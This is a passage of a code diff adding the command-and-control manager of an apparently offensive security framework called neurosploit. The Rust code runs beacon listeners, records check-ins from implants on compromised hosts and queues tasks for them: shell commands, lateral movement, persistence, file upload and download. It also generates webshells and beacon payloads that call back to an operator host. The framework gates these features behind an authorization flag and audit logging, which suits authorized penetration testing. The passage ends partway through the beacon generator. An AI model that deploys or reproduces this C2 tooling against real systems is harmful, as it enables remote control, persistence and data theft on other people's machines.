Send>>; + +pub(crate) async fn serve_http( + listener: TcpListener, + handler: Arc BoxFut + Send + Sync>, +) -> std::io::Result<()> { + loop { + let (mut stream, _) = listener.accept().await?; + let h = handler.clone(); + tokio::spawn(async move { + match tokio::time::timeout(Duration::from_secs(30), read_request(&mut stream)).await { + Ok(Ok(Some(req))) => { + let resp = h(req).await; + let _ = write_response(&mut stream, resp).await; + } + Ok(Ok(None)) => {} + _ => { + let _ = write_response(&mut stream, HttpResponse::text(400, "bad request")) + .await; + } + } + }); + } +} + +async fn read_request( + stream: &mut tokio::net::TcpStream, +) -> std::io::Result> { + let mut buf: Vec = Vec::new(); + let mut tmp = [0u8; 8192]; + let header_end = loop { + let n = stream.read(&mut tmp).await?; + if n == 0 { + if buf.is_empty() { + return Ok(None); + } + return Err(std::io::Error::new( + std::io::ErrorKind::UnexpectedEof, + "incomplete request", + )); + } + buf.extend_from_slice(&tmp[..n]); + if let Some(pos) = find_subslice(&buf, b"\r\n\r\n") { + break pos; + } + if buf.len() > 64 * 1024 { + return Err(std::io::Error::new( + std::io::ErrorKind::InvalidData, + "headers too large", + )); + } + }; + let head = String::from_utf8_lossy(&buf[..header_end]).to_string(); + let mut lines = head.split("\r\n"); + let request_line = lines.next().unwrap_or(""); + let mut parts = request_line.split_whitespace(); + let method = parts.next().unwrap_or("").to_ascii_uppercase(); + let target = parts.next().unwrap_or("/").to_string(); + if method.is_empty() { + return Err(std::io::Error::new( + std::io::ErrorKind::InvalidData, + "bad request line", + )); + } + let (path, query) = match target.split_once('?') { + Some((p, q)) => (p.to_string(), parse_query(q)), + None => (target, BTreeMap::new()), + }; + let mut headers = BTreeMap::new(); + for line in lines { + if let Some((k, v)) = line.split_once(':') { + headers.insert(k.trim().to_ascii_lowercase(), v.trim().to_string()); + } + } + if headers + .get("transfer-encoding") + .map(|v| v.to_ascii_lowercase().contains("chunked")) + .unwrap_or(false) + { + return Err(std::io::Error::new( + std::io::ErrorKind::InvalidData, + "chunked body unsupported", + )); + } + let content_length = headers + .get("content-length") + .and_then(|v| v.parse::().ok()) + .unwrap_or(0); + if content_length > BODY_CAP { + return Err(std::io::Error::new( + std::io::ErrorKind::InvalidData, + "body too large", + )); + } + let mut body = buf[header_end + 4..].to_vec(); + while body.len() < content_length { + let n = stream.read(&mut tmp).await?; + if n == 0 { + break; + } + body.extend_from_slice(&tmp[..n]); + } + body.truncate(content_length); + Ok(Some(HttpRequest { + method, + path, + query, + headers, + body, + })) +} + +async fn write_response( + stream: &mut tokio::net::TcpStream, + resp: HttpResponse, +) -> std::io::Result<()> { + let reason = match resp.status { + 200 => "OK", + 201 => "Created", + 400 => "Bad Request", + 401 => "Unauthorized", + 403 => "Forbidden", + 404 => "Not Found", + 405 => "Method Not Allowed", + 409 => "Conflict", + 413 => "Payload Too Large", + 429 => "Too Many Requests", + _ => "Internal Server Error", + }; + let head = format!( + "HTTP/1.1 {} {}\r\nContent-Type: {}\r\nContent-Length: {}\r\nConnection: close\r\nCache-Control: no-store\r\n\r\n", + resp.status, + reason, + resp.content_type, + resp.body.len() + ); + stream.write_all(head.as_bytes()).await?; + stream.write_all(&resp.body).await?; + stream.flush().await +} + +fn find_subslice(haystack: &[u8], needle: &[u8]) -> Option { + haystack.windows(needle.len()).position(|w| w == needle) +} + +fn parse_query(q: &str) -> BTreeMap { + let mut out = BTreeMap::new(); + for pair in q.split('&') { + if pair.is_empty() { + continue; + } + let (k, v) = pair.split_once('=').unwrap_or((pair, "")); + out.insert(percent_decode(k), percent_decode(v)); + } + out +} + +pub(crate) fn percent_decode(s: &str) -> String { + let bytes = s.as_bytes(); + let mut out = Vec::with_capacity(bytes.len()); + let mut i = 0; + while i < bytes.len() { + match bytes[i] { + b'+' => { + out.push(b' '); + i += 1; + } + b'%' if i + 2 < bytes.len() => { + let hex = &s[i + 1..i + 3]; + if let Ok(v) = u8::from_str_radix(hex, 16) { + out.push(v); + i += 3; + } else { + out.push(bytes[i]); + i += 1; + } + } + b => { + out.push(b); + i += 1; + } + } + } + String::from_utf8_lossy(&out).to_string() +} + +pub(crate) fn percent_encode(s: &str) -> String { + let mut out = String::with_capacity(s.len()); + for b in s.bytes() { + match b { + b'A'..=b'Z' | b'a'..=b'z' | b'0'..=b'9' | b'-' | b'_' | b'.' | b'~' => { + out.push(b as char) + } + b' ' => out.push('+'), + _ => out.push_str(&format!("%{b:02X}")), + } + } + out +} diff --git a/neurosploit-rs/crates/harness/src/c2/manager.rs b/neurosploit-rs/crates/harness/src/c2/manager.rs new file mode 100644 index 0000000..00cf5be --- /dev/null +++ b/neurosploit-rs/crates/harness/src/c2/manager.rs @@ -0,0 +1,1692 @@ +use std::collections::HashMap; +use std::net::IpAddr; +use std::path::PathBuf; +use std::sync::Arc; +use std::time::Duration; + +use serde_json::{json, Value}; +use tokio::net::TcpListener; +use tokio::sync::Mutex; + +use super::http::{percent_encode, serve_http, BoxFut, HttpRequest, HttpResponse}; +use super::store::{ + check_command, ensure_target_allowed, private_ip, write_private, + C2Store, +}; +use super::templates::{ + build_file_command, payload_asp_webshell, payload_aspx_webshell, payload_bash_beacon, + payload_jsp_webshell, payload_php_beacon, payload_php_webshell, payload_powershell_beacon, + payload_python_beacon, persistence_command, +}; +use super::types::{ + push_event, C2Policy, C2State, Event, Listener, PayloadRecord, Session, Task, + WebshellConnection, +}; +use super::{ + b64, clip, new_id, now_ms, random_token, unb64, BEACON_PULL_LIMIT, OUTPUT_CAP, TASK_CAP, +}; + +pub struct C2Manager { + pub(crate) dir: PathBuf, + pub(crate) store: C2Store, + running: Mutex>>, + http: reqwest::Client, +} + +impl C2Manager { + pub async fn open(dir: PathBuf) -> std::io::Result> { + let store = C2Store::open(&dir)?; + let http = reqwest::Client::builder() + .timeout(Duration::from_secs(35)) + .redirect(reqwest::redirect::Policy::limited(3)) + .danger_accept_invalid_certs(true) + .build() + .map_err(|e| std::io::Error::new(std::io::ErrorKind::Other, e))?; + Ok(Arc::new(Self { + dir, + store, + running: Mutex::new(HashMap::new()), + http, + })) + } + + pub async fn snapshot(&self) -> C2State { + self.store.snapshot().await + } + + // -- listeners --------------------------------------------------------- + + pub async fn restore_listeners(self: &Arc) { + let state = self.store.snapshot().await; + let ids: Vec = state + .listeners + .iter() + .filter(|l| l.status == "running") + .map(|l| l.id.clone()) + .collect(); + for id in ids { + let _ = self.start_listener(&id).await; + } + } + + pub async fn create_listener( + self: &Arc, + name: &str, + bind_host: &str, + bind_port: u16, + callback_host: &str, + sleep_seconds: u32, + jitter_percent: u32, + ) -> Result { + let state = self.store.snapshot().await; + if !state.policy.enabled { + return Err( + "C2 is disabled — run `neurosploit c2 enable --authorization ` first".into(), + ); + } + if name.trim().is_empty() { + return Err("listener name is required".into()); + } + if bind_port == 0 { + return Err("bind_port must be 1..65535".into()); + } + let mut bind = bind_host.trim().to_string(); + if bind.is_empty() { + bind = "127.0.0.1".into(); + } + if bind != "127.0.0.1" && bind != "::1" && bind != "localhost" { + let bind_ip = bind.parse::().ok(); + let private = bind_ip.map(private_ip).unwrap_or(false); + if !private && !state.policy.allow_public_targets { + return Err(format!( + "refusing to bind {bind} — use 127.0.0.1 (default), a private address, or enable --allow-public explicitly" + )); + } + } + let callback = if callback_host.trim().is_empty() { + if bind == "0.0.0.0" || bind == "::" { + "127.0.0.1".to_string() + } else { + bind.clone() + } + } else { + callback_host.trim().to_string() + }; + let listener = Listener { + id: new_id("l"), + name: name.trim().to_string(), + kind: "http_beacon".into(), + bind_host: bind, + bind_port, + callback_host: callback, + token: random_token(), + status: "stopped".into(), + sleep_seconds: sleep_seconds.max(1), + jitter_percent: jitter_percent.min(100), + created_at: now_ms(), + started_at: None, + last_error: None, + }; + let rec = listener.clone(); + self.store + .mutate(|s| { + s.listeners.push(listener); + push_event( + s, + "info", + "listener", + format!( + "Listener '{}' created on {}:{}", + rec.name, rec.bind_host, rec.bind_port + ), + json!({"listener_id": rec.id}), + ); + }) + .await; + self.store.audit( + "listener.create", + json!({"id": rec.id, "name": rec.name, "bind": format!("{}:{}", rec.bind_host, rec.bind_port)}), + ); + Ok(rec) + } + + pub async fn start_listener(self: &Arc, id: &str) -> Result { + let state = self.store.snapshot().await; + let listener = state + .listeners + .iter() + .find(|l| l.id == id) + .cloned() + .ok_or_else(|| "listener not found".to_string())?; + { + let running = self.running.lock().await; + if running.contains_key(id) { + return Err("listener is already running".into()); + } + } + let addr = format!("{}:{}", listener.bind_host, listener.bind_port); + let tcp = TcpListener::bind(&addr) + .await + .map_err(|e| format!("bind {addr}: {e}"))?; + let mgr = self.clone(); + let l = listener.clone(); + let handler: Arc BoxFut + Send + Sync> = { + let mgr = mgr.clone(); + let l = l.clone(); + Arc::new(move |req: HttpRequest| { + let mgr = mgr.clone(); + let l = l.clone(); + Box::pin(async move { mgr.handle_beacon(&l, req).await }) as BoxFut + }) + }; + let handle = tokio::spawn(async move { + if let Err(e) = serve_http(tcp, handler).await { + eprintln!("[c2] listener {} stopped: {e}", l.id); + } + }); + self.running.lock().await.insert(id.to_string(), handle); + let now = now_ms(); + self.store + .mutate(|s| { + if let Some(l) = s.listeners.iter_mut().find(|l| l.id == id) { + l.status = "running".into(); + l.started_at = Some(now); + l.last_error = None; + } + push_event( + s, + "info", + "listener", + format!("Listener '{}' started on {}", listener.name, addr), + json!({"listener_id": listener.id}), + ); + }) + .await; + self.store + .audit("listener.start", json!({"id": id, "bind": addr})); + Ok(self + .store + .snapshot() + .await + .listeners + .into_iter() + .find(|l| l.id == id) + .unwrap_or(listener)) + } + + pub async fn stop_listener(&self, id: &str) -> Result<(), String> { + let handle = self.running.lock().await.remove(id); + match handle { + Some(h) => { + h.abort(); + self.store + .mutate(|s| { + if let Some(l) = s.listeners.iter_mut().find(|l| l.id == id) { + l.status = "stopped".into(); + } + push_event( + s, + "info", + "listener", + format!("Listener {id} stopped"), + json!({"listener_id": id}), + ); + }) + .await; + self.store.audit("listener.stop", json!({"id": id})); + Ok(()) + } + None => { + self.store + .mutate(|s| { + if let Some(l) = s.listeners.iter_mut().find(|l| l.id == id) { + l.status = "stopped".into(); + } + }) + .await; + Err("listener is not running".into()) + } + } + } + + pub async fn delete_listener(&self, id: &str) -> Result<(), String> { + let _ = self.stop_listener(id).await; + let found = self + .store + .mutate(|s| { + let before = s.listeners.len(); + s.listeners.retain(|l| l.id != id); + let session_ids: Vec = s + .sessions + .iter() + .filter(|x| x.listener_id == id) + .map(|x| x.id.clone()) + .collect(); + s.sessions.retain(|x| x.listener_id != id); + s.tasks.retain(|t| !session_ids.contains(&t.session_id)); + before != s.listeners.len() + }) + .await; + if !found { + return Err("listener not found".into()); + } + self.store.audit("listener.delete", json!({"id": id})); + Ok(()) + } + + // -- beacon protocol --------------------------------------------------- + + pub(crate) async fn handle_beacon( + self: Arc, + listener: &Listener, + req: HttpRequest, + ) -> HttpResponse { + let wants_sh = req + .query + .get("format") + .map(|f| f == "sh") + .unwrap_or(false) + || req + .header("accept") + .map(|a| a.contains("text/plain") && !a.contains("json")) + .unwrap_or(false); + if req.method == "GET" && (req.path == "/" || req.path == "/health") { + return HttpResponse::json(200, &json!({"ok": true, "listener": listener.name})); + } + if req.method == "GET" + && (req.path == "/api/beacon" || req.path == "/check_in" || req.path == "/tasks") + { + let sid = req + .query + .get("session_id") + .cloned() + .or_else(|| req.header("x-session-id").map(|s| s.to_string())) + .unwrap_or_default(); + if sid.is_empty() { + return HttpResponse::json(400, &json!({"ok": false, "error": "session_id required"})); + } + if !self.token_ok(listener, &req) { + return HttpResponse::json(401, &json!({"ok": false, "error": "invalid implant token"})); + } + let tasks = self.pop_tasks(&sid, listener).await; + return HttpResponse::json(200, &json!({"ok": true, "tasks": tasks})); + } + if req.method != "POST" { + return HttpResponse::json(405, &json!({"ok": false, "error": "method not allowed"})); + } + if !self.token_ok(listener, &req) { + return HttpResponse::json(401, &json!({"ok": false, "error": "invalid implant token"})); + } + + // Two encodings accepted: JSON (python/powershell/php beacons) and + // urlencoded form (the dependency-free bash beacon). Both carry the + // same fields; a result report can ride along with the check-in. + let (checkin, results) = if req + .header("content-type") + .map(|c| c.contains("application/x-www-form-urlencoded")) + .unwrap_or(false) + { + let f = req.form(); + let s = |k: &str| f.get(k).cloned().unwrap_or_default(); + let ci = json!({ + "uuid": s("uuid"), + "hostname": s("hostname"), + "username": s("username"), + "os": s("os"), + "arch": s("arch"), + "pid": s("pid").parse::().unwrap_or(0), + "process_name": s("process_name"), + "is_admin": s("is_admin") == "1", + "internal_ip": s("internal_ip"), + "sleep_seconds": s("sleep_seconds").parse::().unwrap_or(0), + "jitter_percent": s("jitter_percent").parse::().unwrap_or(0), + }); + let mut out = Vec::new(); + if let Some(tid) = f.get("result_task_id") { + if !tid.is_empty() { + let output = f + .get("result_output_b64") + .and_then(|v| unb64(v)) + .map(|b| String::from_utf8_lossy(&b).to_string()) + .unwrap_or_else(|| f.get("result_output").cloned().unwrap_or_default()); + out.push(json!({ + "task_id": tid, + "success": f.get("result_success").map(|v| v == "1").unwrap_or(false), + "output": output, + "error": f.get("result_error").cloned().unwrap_or_default(), + })); + } + } + (ci, out) + } else { + let Ok(v) = serde_json::from_slice::(&req.body) else { + return HttpResponse::json(400, &json!({"ok": false, "error": "invalid JSON"})); + }; + let ci = v.clone(); + let results = v + .get("results") + .and_then(|r| r.as_array()) + .cloned() + .unwrap_or_default(); + (ci, results) + }; + + let uuid = checkin + .get("uuid") + .and_then(|v| v.as_str()) + .unwrap_or("") + .trim() + .to_string(); + if uuid.is_empty() { + return HttpResponse::json(400, &json!({"ok": false, "error": "uuid required"})); + } + + self.process_results(listener, &results).await; + let (session, tasks) = self.ingest_checkin(listener, &checkin, &uuid).await; + let sleep_s = session.sleep_seconds.max(1); + let jitter = session.jitter_percent; + if wants_sh { + let mut out = format!("SID={}\nSLEEP={}\nJITTER={}\n", session.id, sleep_s, jitter); + for t in &tasks { + let payload = serde_json::to_vec(&t.payload).unwrap_or_else(|_| b"{}".to_vec()); + out.push_str(&format!("TASK {} {} {}\n", t.id, t.task_type, b64(&payload))); + } + HttpResponse::text(200, out) + } else { + HttpResponse::json( + 200, + &json!({ + "ok": true, + "session_id": session.id, + "next_sleep": sleep_s, + "next_jitter": jitter, + "server_time": now_ms(), + "tasks": tasks.iter().map(|t| json!({ + "task_id": t.id, + "task_type": t.task_type, + "payload": t.payload, + })).collect::>(), + }), + ) + } + } + + fn token_ok(&self, listener: &Listener, req: &HttpRequest) -> bool { + let got = req + .header("x-implant-token") + .or_else(|| { + req.header("authorization") + .and_then(|v| v.strip_prefix("Bearer ")) + }) + .unwrap_or(""); + let a = got.as_bytes(); + let b = listener.token.as_bytes(); + if a.len() != b.len() { + return false; + } + let mut diff = 0u8; + for (x, y) in a.iter().zip(b.iter()) { + diff |= x ^ y; + } + diff == 0 + } + + async fn ingest_checkin( + &self, + listener: &Listener, + ci: &Value, + uuid: &str, + ) -> (Session, Vec) { + let now = now_ms(); + let internal_ip = ci + .get("internal_ip") + .and_then(|v| v.as_str()) + .unwrap_or("") + .to_string(); + let hostname = ci + .get("hostname") + .and_then(|v| v.as_str()) + .unwrap_or("unknown") + .to_string(); + let username = ci + .get("username") + .and_then(|v| v.as_str()) + .unwrap_or("unknown") + .to_string(); + let os = ci + .get("os") + .and_then(|v| v.as_str()) + .unwrap_or("unknown") + .to_ascii_lowercase(); + let arch = ci + .get("arch") + .and_then(|v| v.as_str()) + .unwrap_or("") + .to_string(); + let pid = ci.get("pid").and_then(|v| v.as_i64()).unwrap_or(0); + let process_name = ci + .get("process_name") + .and_then(|v| v.as_str()) + .unwrap_or("") + .to_string(); + let is_admin = ci + .get("is_admin") + .and_then(|v| v.as_bool()) + .unwrap_or(false); + let reported_sleep = ci + .get("sleep_seconds") + .and_then(|v| v.as_u64()) + .unwrap_or(0) as u32; + let reported_jitter = ci + .get("jitter_percent") + .and_then(|v| v.as_u64()) + .unwrap_or(0) as u32; + + let state = self.store.snapshot().await; + let existing = state + .sessions + .iter() + .find(|s| s.implant_uuid == uuid) + .cloned(); + if state.sessions.len() >= state.policy.max_sessions.max(1) && existing.is_none() { + // Cap the session table so a beacon storm cannot grow state forever. + let id = new_id("s"); + return ( + Session { + id, + listener_id: listener.id.clone(), + implant_uuid: uuid.to_string(), + hostname, + username, + os, + arch, + pid, + process_name, + is_admin, + internal_ip, + status: "rejected".into(), + first_seen: now, + last_seen: now, + sleep_seconds: listener.sleep_seconds, + jitter_percent: listener.jitter_percent, + note: "session cap reached".into(), + metadata: json!({}), + }, + Vec::new(), + ); + } + let first_seen = existing.as_ref().map(|s| s.first_seen).unwrap_or(now); + let id = existing + .as_ref() + .map(|s| s.id.clone()) + .unwrap_or_else(|| new_id("s")); + let sleep_seconds = existing + .as_ref() + .map(|s| s.sleep_seconds) + .filter(|v| *v > 0) + .unwrap_or_else(|| { + if reported_sleep > 0 { + reported_sleep + } else { + listener.sleep_seconds + } + }); + let jitter_percent = existing + .as_ref() + .map(|s| s.jitter_percent) + .unwrap_or(if reported_jitter > 0 { + reported_jitter + } else { + listener.jitter_percent + }); + let note = existing.as_ref().map(|s| s.note.clone()).unwrap_or_default(); + let session = Session { + id: id.clone(), + listener_id: listener.id.clone(), + implant_uuid: uuid.to_string(), + hostname, + username, + os, + arch, + pid, + process_name, + is_admin, + internal_ip, + status: "active".into(), + first_seen, + last_seen: now, + sleep_seconds: sleep_seconds.max(1), + jitter_percent, + note, + metadata: ci.clone(), + }; + let is_new = existing.is_none(); + let sess = session.clone(); + self.store + .mutate(|s| { + if let Some(slot) = s.sessions.iter_mut().find(|x| x.implant_uuid == uuid) { + *slot = sess.clone(); + } else { + s.sessions.push(sess.clone()); + } + if is_new { + push_event( + s, + "critical", + "session", + format!( + "New session: {}@{} ({}/{})", + sess.username, sess.hostname, sess.os, sess.arch + ), + json!({"session_id": sess.id, "listener_id": sess.listener_id, "internal_ip": sess.internal_ip}), + ); + } + }) + .await; + if is_new { + self.store.audit( + "session.first_seen", + json!({"id": sess.id, "hostname": sess.hostname, "username": sess.username, "listener_id": sess.listener_id}), + ); + } + let tasks = self.pop_tasks(&id, listener).await; + (session, tasks) + } + + async fn pop_tasks(&self, session_id: &str, listener: &Listener) -> Vec { + let now = now_ms(); + let session_listener = self + .store + .snapshot() + .await + .sessions + .iter() + .find(|s| s.id == session_id) + .map(|s| s.listener_id.clone()); + if session_listener.as_deref() != Some(listener.id.as_str()) { + return Vec::new(); + } + self.store + .mutate(|s| { + let mut out = Vec::new(); + for t in s.tasks.iter_mut() { + if t.session_id != session_id || t.status != "queued" { + continue; + } + if out.len() >= BEACON_PULL_LIMIT { + break; + } + t.status = "sent".into(); + t.sent_at = Some(now); + out.push(t.clone()); + } + out + }) + .await + } + + async fn process_results(&self, listener: &Listener, results: &[Value]) { + if results.is_empty() { + return; + } + let mut newly_done: Vec = Vec::new(); + self.store + .mutate(|s| { + for r in results { + let Some(tid) = r.get("task_id").and_then(|v| v.as_str()) else { + continue; + }; + let Some(t) = s.tasks.iter_mut().find(|t| t.id == tid) else { + continue; + }; + if t.status == "cancelled" { + continue; + } + let success = r + .get("success") + .and_then(|v| v.as_bool()) + .unwrap_or(false); + let output = r + .get("output_b64") + .and_then(|v| v.as_str()) + .and_then(unb64) + .map(|b| String::from_utf8_lossy(&b).to_string()) + .or_else(|| { + r.get("output") + .and_then(|v| v.as_str()) + .map(|v| v.to_string()) + }) + .unwrap_or_default(); + t.status = if success { "success".into() } else { "failed".into() }; + t.output = clip(output); + t.error = clip( + r.get("error") + .and_then(|v| v.as_str()) + .unwrap_or("") + .to_string(), + ); + t.completed_at = Some(now_ms()); + newly_done.push(t.clone()); + } + for t in &newly_done { + push_event( + s, + if t.status == "success" { "info" } else { "warn" }, + "task", + format!("Task {} {} on {}", t.id, t.status, t.session_id), + json!({"task_id": t.id, "session_id": t.session_id, "task_type": t.task_type}), + ); + } + }) + .await; + for t in newly_done { + self.store.audit( + "task.result", + json!({"task_id": t.id, "session_id": t.session_id, "status": t.status, "listener_id": listener.id}), + ); + } + } + + // -- sessions ---------------------------------------------------------- + + pub async fn reconcile(&self) { + let now = now_ms(); + self.store + .mutate(|s| { + for sess in s.sessions.iter_mut() { + if sess.status == "active" { + let budget = (sess.sleep_seconds.max(5) as i64) * 1000 * 8; + if now - sess.last_seen > budget.max(120_000) { + sess.status = "dead".into(); + } + } + } + for t in s.tasks.iter_mut() { + if t.status == "sent" { + if let Some(sent) = t.sent_at { + if now - sent > 15 * 60 * 1000 { + t.status = "failed".into(); + t.error = "timeout: implant did not return a result".into(); + t.completed_at = Some(now); + } + } + } + } + }) + .await; + } + + pub async fn set_session_sleep( + &self, + session_id: &str, + seconds: u32, + jitter: u32, + ) -> Result { + let seconds = seconds.max(1); + let jitter = jitter.min(100); + self.store + .mutate(|s| { + if let Some(sess) = s.sessions.iter_mut().find(|x| x.id == session_id) { + sess.sleep_seconds = seconds; + sess.jitter_percent = jitter; + } + }) + .await; + self.enqueue( + session_id, + "sleep", + json!({"seconds": seconds, "jitter": jitter}), + "manual", + ) + .await + } + + pub async fn set_session_note(&self, session_id: &str, note: &str) -> Result<(), String> { + let found = self + .store + .mutate(|s| { + if let Some(sess) = s.sessions.iter_mut().find(|x| x.id == session_id) { + sess.note = note.to_string(); + true + } else { + false + } + }) + .await; + if !found { + return Err("session not found".into()); + } + self.store.audit("session.note", json!({"id": session_id})); + Ok(()) + } + + pub async fn kill_session(&self, session_id: &str) -> Result<(), String> { + let found = self + .store + .mutate(|s| { + if let Some(sess) = s.sessions.iter_mut().find(|x| x.id == session_id) { + sess.status = "killed".into(); + true + } else { + false + } + }) + .await; + if !found { + return Err("session not found".into()); + } + self.stop_session_tasks(session_id).await; + self.store.audit("session.kill", json!({"id": session_id})); + Ok(()) + } + + async fn stop_session_tasks(&self, session_id: &str) { + self.store + .mutate(|s| { + for t in s.tasks.iter_mut() { + if t.session_id == session_id + && (t.status == "queued" || t.status == "sent") + { + t.status = "cancelled".into(); + t.error = "session killed".into(); + t.completed_at = Some(now_ms()); + } + } + }) + .await; + } + + // -- tasks ------------------------------------------------------------- + + pub async fn enqueue( + &self, + session_id: &str, + task_type: &str, + payload: Value, + source: &str, + ) -> Result { + let state = self.store.snapshot().await; + if !state.policy.enabled { + return Err("C2 is disabled".into()); + } + let session = state + .sessions + .iter() + .find(|s| s.id == session_id) + .cloned() + .ok_or_else(|| "session not found".to_string())?; + if session.status == "dead" || session.status == "killed" { + return Err("session is not active".into()); + } + let mut task_type = task_type.trim().to_ascii_lowercase(); + let mut payload = payload; + match task_type.as_str() { + "exec" | "shell" | "lateral" => { + let cmd = payload + .get("command") + .and_then(|v| v.as_str()) + .unwrap_or(""); + if cmd.trim().is_empty() { + return Err("command is required".into()); + } + check_command(&state, cmd)?; + if task_type == "lateral" && !state.policy.allow_lateral { + return Err("lateral movement is disabled for this engagement — enable it with `neurosploit c2 enable --authorization ... --lateral`".into()); + } + } + "persist" => { + if !state.policy.allow_persistence { + return Err("persistence is disabled for this engagement — enable it with `neurosploit c2 enable --authorization ... --persistence`".into()); + } + let method = payload + .get("method") + .and_then(|v| v.as_str()) + .unwrap_or("auto") + .to_string(); + let Some(listener) = state.listeners.iter().find(|l| l.id == session.listener_id) + else { + return Err("listener for this session no longer exists".into()); + }; + let command = persistence_command(&session.os, &method, listener, &session)?; + check_command(&state, &command)?; + payload = json!({"method": method, "command": command}); + } + "upload" => { + if !state.policy.allow_lateral { + return Err("file upload to an implant is disabled — enable lateral capabilities first".into()); + } + let path = payload + .get("path") + .or_else(|| payload.get("remote_path")) + .and_then(|v| v.as_str()) + .unwrap_or(""); + if path.is_empty() { + return Err("upload requires path".into()); + } + if let Some(content) = payload.get("content").and_then(|v| v.as_str()) { + if !content.is_empty() && payload.get("content_b64").is_none() { + payload["content_b64"] = json!(b64(content.as_bytes())); + } + } + } + "download" => { + let path = payload + .get("path") + .or_else(|| payload.get("remote_path")) + .and_then(|v| v.as_str()) + .unwrap_or(""); + if path.is_empty() { + return Err("download requires path".into()); + } + } + "sleep" | "exit" | "pwd" | "ls" | "cd" | "ps" | "kill_proc" => {} + other => return Err(format!("unsupported task_type '{other}'")), + } + if task_type == "shell" { + task_type = "exec".into(); + } + let task = Task { + id: new_id("t"), + session_id: session_id.to_string(), + task_type, + payload, + status: "queued".into(), + source: source.to_string(), + created_at: now_ms(), + sent_at: None, + completed_at: None, + output: String::new(), + error: String::new(), + }; + let t = task.clone(); + self.store + .mutate(|s| { + s.tasks.push(task); + if s.tasks.len() > TASK_CAP { + let drop = s.tasks.len() - TASK_CAP; + s.tasks.drain(0..drop); + } + push_event( + s, + "info", + "task", + format!("Task {} queued on {}", t.id, t.session_id), + json!({"task_id": t.id, "session_id": t.session_id, "task_type": t.task_type}), + ); + }) + .await; + self.store.audit( + "task.enqueue", + json!({"task_id": t.id, "session_id": t.session_id, "task_type": t.task_type, "source": source}), + ); + Ok(t) + } + + pub async fn task(&self, task_id: &str) -> Option { + self.store + .snapshot() + .await + .tasks + .into_iter() + .find(|t| t.id == task_id) + } + + pub async fn wait_task(&self, task_id: &str, timeout: Duration) -> Result { + let deadline = std::time::Instant::now() + timeout; + loop { + if let Some(t) = self.task(task_id).await { + if matches!(t.status.as_str(), "success" | "failed" | "cancelled") { + return Ok(t); + } + if std::time::Instant::now() >= deadline { + return Ok(t); + } + } else { + return Err("task not found".into()); + } + tokio::time::sleep(Duration::from_millis(500)).await; + } + } + + pub async fn cancel_task(&self, task_id: &str) -> Result<(), String> { + let found = self + .store + .mutate(|s| { + if let Some(t) = s.tasks.iter_mut().find(|t| t.id == task_id) { + if t.status == "queued" { + t.status = "cancelled".into(); + t.completed_at = Some(now_ms()); + true + } else { + false + } + } else { + false + } + }) + .await; + if !found { + return Err("task not found or already dispatched".into()); + } + self.store.audit("task.cancel", json!({"task_id": task_id})); + Ok(()) + } + + // -- events ------------------------------------------------------------ + + pub async fn events(&self, limit: usize) -> Vec { + let state = self.store.snapshot().await; + let n = limit.max(1).min(super::EVENT_CAP); + let start = state.events.len().saturating_sub(n); + state.events[start..].to_vec() + } + + // -- payloads ---------------------------------------------------------- + + fn write_payload(&self, name: &str, content: &str) -> Result { + let safe: String = name + .chars() + .map(|c| { + if c.is_ascii_alphanumeric() || c == '.' || c == '-' || c == '_' { + c + } else { + '_' + } + }) + .collect(); + let safe = if safe.trim_matches('_').is_empty() { + format!("payload-{}.txt", now_ms()) + } else { + safe + }; + let dir = self.dir.join("payloads"); + std::fs::create_dir_all(&dir).map_err(|e| e.to_string())?; + let path = dir.join(&safe); + write_private(&path, content.as_bytes()).map_err(|e| e.to_string())?; + Ok(path) + } + + fn record_payload(&self, name: &str, kind: &str, size: usize, note: &str) { + if let Ok(mut s) = self.store.state.try_write() { + s.payloads.push(PayloadRecord { + name: name.to_string(), + kind: kind.to_string(), + created_at: now_ms(), + size, + note: note.to_string(), + }); + if s.payloads.len() > 500 { + let drop = s.payloads.len() - 500; + s.payloads.drain(0..drop); + } + } + } + + pub async fn payload_webshell( + &self, + shell_type: &str, + password: &str, + pass_param: &str, + cmd_param: &str, + filename: Option<&str>, + ) -> Result { + let state = self.store.snapshot().await; + if !state.policy.enabled { + return Err("C2/WebShell is disabled — enable it explicitly first".into()); + } + let t = shell_type.trim().to_ascii_lowercase(); + let pass = if password.trim().is_empty() { + "ns_pass" + } else { + password.trim() + }; + let cmd = if cmd_param.trim().is_empty() { + "cmd" + } else { + cmd_param.trim() + }; + let pparam = if pass_param.trim().is_empty() { + "pass" + } else { + pass_param.trim() + }; + let (content, ext) = match t.as_str() { + "php" => (payload_php_webshell(pass, pparam, cmd), "php"), + "aspx" | "asp.net" => (payload_aspx_webshell(pass, pparam, cmd), "aspx"), + "asp" => (payload_asp_webshell(pass, pparam, cmd), "asp"), + "jsp" => (payload_jsp_webshell(pass, pparam, cmd), "jsp"), + other => { + return Err(format!( + "unsupported webshell type '{other}' (php, aspx, asp, jsp)" + )) + } + }; + let name = filename + .map(|f| f.to_string()) + .unwrap_or_else(|| format!("webshell-{}.{}", now_ms(), ext)); + let path = self.write_payload(&name, &content)?; + let size = content.len(); + self.record_payload(&name, "webshell", size, &format!("type={t}")); + self.store.audit( + "payload.webshell", + json!({"name": name, "type": t, "path": path, "authorization": state.policy.authorized_by}), + ); + Ok(json!({ + "ok": true, + "name": name, + "kind": "webshell", + "type": t, + "path": path, + "content": content, + "password": pass, + "pass_param": pparam, + "cmd_param": cmd, + "note": "Deploy only on systems you are authorized to test. Generated payload is stored with 0600 permissions.", + })) + } + + pub async fn payload_beacon( + &self, + listener_id: &str, + kind: &str, + host_override: Option<&str>, + filename: Option<&str>, + ) -> Result { + let state = self.store.snapshot().await; + if !state.policy.enabled { + return Err("C2 is disabled — enable it explicitly first".into()); + } + let listener = state + .listeners + .iter() + .find(|l| l.id == listener_id) + .cloned() + .ok_or_else(|| "listener not found".to_string())?; + let host = host_override + .map(|s| s.trim().to_string()) + .filter(|s| !s.is_empty()) + .unwrap_or_else(|| listener.callback_host.clone()); + let base = format!("http://{}:{}", host, listener.bind_port); + let k = kind.trim().to_ascii_lowercase(); + let (content, ext) = match k.as_str() { + "" | "bash" | "sh" => ( + payload_bash_beacon( + &base, + &listener.token, + listener.sleep_seconds, + listener.jitter_percent, + ), + "sh", + ), + "python" | "python3" => ( + payload_python_beacon( + &base, + &listener.token, + listener.sleep_seconds, + listener.jitter_percent, + ), + "py", + ), + "powershell" | "ps1" => ( + payload_powershell_beacon( + &base, + &listener.token, + listener.sleep_seconds, + listener.jitter_percent, + ), + "ps1", + ), + "php" => ( + payload_php_beacon( + &base, + &listener.token, + listener.sleep_seconds, + listener.jitter_percent, + ), + "php", + ), + other => { + 